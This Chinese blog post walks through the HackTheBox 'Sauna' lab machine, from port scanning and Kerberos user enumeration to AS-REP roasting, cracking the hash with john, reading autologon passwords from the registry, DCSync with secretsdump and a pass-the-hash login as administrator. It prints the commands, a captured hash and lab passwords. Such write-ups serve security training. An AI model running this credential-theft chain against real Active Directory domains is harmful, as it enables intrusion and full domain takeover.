首页 > 其他分享 >htb Sauna

htb Sauna

时间:2025-01-07 23:22:22浏览次数:6  
标签:htb Windows tcp Sauna names open Microsoft first

扫描端口
nmap -sC -sV -p- -Pn -v -T4 10.10.10.175

Host is up (0.41s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|
Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-22 15:15:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|clock-skew: 7h00m00s
| smb2-time:
| date: 2024-12-22T15:16:29
|
start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

对smb,ldap, rpc等进行信息搜集,没有发现什么
在web网页发现几个用户名,可进行域用户枚举
http://10.10.10.175/about.html#team
image

将其提取出来改为常见的字典进行枚举,python脚本如下
domin_user = "用户名字典文件"
first_names = []
last_names = []
with open(domin_user, "r") as f:
while True:
ls = f.readline().split(".")
if ls and ("" not in ls):
first_names.append(ls[0])
last_names.append(ls[1].replace("\n", ""))
else:
break

print(first_names, last_names)
usernames = set()
for n in range(len(first_names)):
# 常见命名格式
usernames.add(f"{first_names[n]}.{last_names[n]}") # FirstName.LastName
usernames.add(f"{first_names[n]}{last_names[n]}") # FirstNameLastName
usernames.add(f"{first_names[n][0]}{last_names[n]}") # FirstInitialLastName
usernames.add(f"{first_names[n][0]}.{last_names[n]}")
usernames.add(f"{last_names[n]}{first_names[n][0]}") # LastNameFirstInitial
usernames.add(f"{last_names[n]}.{first_names[n][0]}")
usernames.add(f"{first_names[n]}") # FirstName
usernames.add(f"{last_names[n]}") # LastName
usernames.add(f"{last_names[n]}.{first_names[n]}") # LastName.FirstName

with open("file_path", "w") as f:
f.write("\n".join(usernames))
用kerbrute进行枚举
./kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 /root/test/users.txt
image

得到一个域用户FSmith
利用impacket-getNPusers尝试进行as-rep枚举
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/FSmith@10.10.10.175 -request

image

得到该用户的hash
$krb5asrep$23$FSmith@10.10.10.175@EGOTISTICAL-BANK.LOCAL:6e230f83c7d81100c3d69d0360da810a$a127c941038b4473ac78191074a74a146462e5b53fde1dae96b4ab7261c56492162c9d8481e8604d51b1454e5fc90ee6ff6c1785f8e595ce7bb849c40d40b14bba941298d0456e2d9a05724b4e6d885e50f27f838451701f10bc5362a079dc6faa7410fb6ff868aea0d32e91ebb2c140b25db4525d16fe1ca9ce5ca97600f86ca417fd5e69eba341e5799514c109b2e6a578507bd951735f06e4fbbde05fd9845f0717a998e256c3da2641fbfe220e527cec9e2ea01853972d561c163b52c6a64350586dc38fea470958e45d23df0e7524aeddbd86347a73c406171a87de56a0750fe1243265f681b461e495b28cb68d9bc164298d0006ee8e3ff5703c63e567
用john进行爆破
john hash --wordlist=/usr/share/wordlists/rockyou.txt
image

得到密码Thestrokes23
evil-winrm远程登录
evil-winrm -i 10.10.10.175 -u FSmith -p Thestrokes23
image

得到用户的flag

image

传入sharphound进行信息搜集
发现账号svc_loanmgr对administrator有DCsync权限

想办法提权到svc_loanmgr
传入powerup信息搜集

Evil-WinRM PS C:\Users\FSmith\desktop> . .\powerup.ps1
Evil-WinRM PS C:\Users\FSmith\desktop> Invoke-AllChecks

image

发现可以提取注册表凭据
powershell命令提取
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-Object DefaultUserName, DefaultPassword, AutoAdminLogon
得到密码Moneymakestheworldgoround!
image

利用DCsync权限获取administrator的hash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175
image

evil-winrm hash远程登录
evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
获取到root的flag
image

标签:htb,Windows,tcp,Sauna,names,open,Microsoft,first
From: https://www.cnblogs.com/v3n0m-cccccc/p/18658642

相关文章

  • HTB Broker
    nmap端口扫描nmap-sC-sV-p--v-Pn-T410.10.11.243Hostisup(0.38slatency).Notshown:65526closedtcpports(reset)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.4(UbuntuLinux;protocol2.0)|ssh-hostke......
  • HTB之Base(弱语言类型混淆&find提权)
    Base1.信息收集端口扫描:子域名收集:gobustervhost--random-agent--append-domain-k-w"/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt"-u"http://ip:port/path"目录扫描:dirsearch扫描结果dirsearch比较适合扫描一些常规常见的文件2.访......
  • jquery响应式弹出层lightbox插件slick-lightbox.js
    slick-lightbox.js是一款基于slick.js和jquery的响应式弹出层lightbox插件。该jquerylightbox插件支持图片懒加载,支持键盘交互,支持HTML5HistoryAPI等。功能非常强大。在线预览  下载 安装可以通过bower来安装slick-lightbox.js插件。bowerinstall-Sslick-lightbo......
  • 支持移动手机的纯js lightbox插件GLightbox
    GLightbox是一款支持移动手机的纯jslightbox插件。GLightbox可以支持图片,视频,内联内容和iframes等,非常强大。 在线演示 下载 使用方法在页面中引入glightbox.css和glightbox.js文件。<linkhref="glightbox.css"rel="stylesheet"><scriptsrc="glightbox.js"type=......
  • HTB之Included(TFTP&LXD)
    Included1.扫描结果只有一个80端口2.访问看到URL参数,有思路了;测试一下,果然...将结果放到文本里,便于查看,可以看到只有两个用户是可登录的还有一个mike按照靶场习惯寻找mike的flag,未找到,只能换个思路3.TFTP回到刚才的passwd文件,最后一行还有个tftp,看起来好像是ftp......
  • HTB之Unified(JNDI注入+MongoDB+生成哈希)
    Unified1.扫描结果6789端口:IBMDB2管理,运行着IBMDB2Admin服务。IBMDB2是一种数据库管理系统,这个端口可能用于访问DB2数据库的管理界面。8443端口:管理平台,根据相关搜索得知应该是网络设备管理平台,或者监控管理平台。UniFiNetwork是UbiquitiNetworks提供的一......
  • 域渗透提权:HTB--Administrator
    文章目录靶机信息域环境初步信息收集与权限验证FTP登录尝试SMB枚举尝试WinRM登录olivia域用户枚举获取Michael权限BloodHound提取域信息GenericAll获取Benjamin权限ForceChangePasswordftp登录benjamin获取Emily权限pwsafe+hashcat获取Ethan权限获取管理员(Admin......
  • jQuery轻量级Lightbox插件-Colorbox
    演示       下载 ColorBox是一款功能强大的轻量级Jquery Lightbox插件。ColorBox支持图片展示、图片分组、幻灯片、行内样式和iframe内容。该lightbox插件的兼容性极好,可以兼容IE7+的IE浏览器。它的特点有:支持图片展示、图片分组、幻灯片、行内样式和ifram......
  • js弹出层Lightbox图片画廊插件spotlight.js
    在线预览 下载spotlight.js是一款js弹出层Lightbox图片画廊插件。该插件在点击图片的缩略图时,以lightbox的方式弹出图片画廊,支持对图片进行放大、缩小、全屏、前后切换等操作。 使用方法在页面中引入下面的文件。<scripttype="text/javascript"src="spotlight.bu......
  • HTB:WifineticTwo[WriteUP]
    目录连接至HTB服务器并启动靶机信息搜集使用rustscan对靶机TCP端口进行开放扫描使用nmap对靶机开放端口进行脚本、服务扫描使用curl访问靶机8080端口使用浏览器直接访问/login路径漏洞利用使用searchsploit搜索该WebAPP漏洞PayloadUSER_FLAG:bb4486cda052880dad71c535......